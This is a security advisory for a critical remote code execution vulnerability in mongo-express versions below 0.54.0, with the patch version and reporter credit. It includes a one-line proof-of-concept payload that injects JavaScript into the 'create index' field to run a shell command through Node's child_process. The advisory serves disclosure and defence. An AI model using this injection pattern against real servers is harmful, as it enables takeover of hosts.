GHSA-h47j-hc6x-h3qqCriticalCVSS 9.9

Remote Code Execution Vulnerability in NPM mongo-express

Published
December 30, 2019
Last Modified
October 22, 2025

🔗 CVE IDs covered (1)

📋 Description

Impact

Remote code execution on the host machine by any authenticated user.

Proof Of Concept

Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator:

this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')

Patches

Users should upgrade to version 0.54.0

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

For more information

If you have any questions or comments about this advisory:

Thanks

@JLLeitschuh for finding and reporting this vulnerability

This vulnerability has been exploited in the wild.

🎯 Affected products1

  • npm/mongo-express:< 0.54.0

🔗 References (9)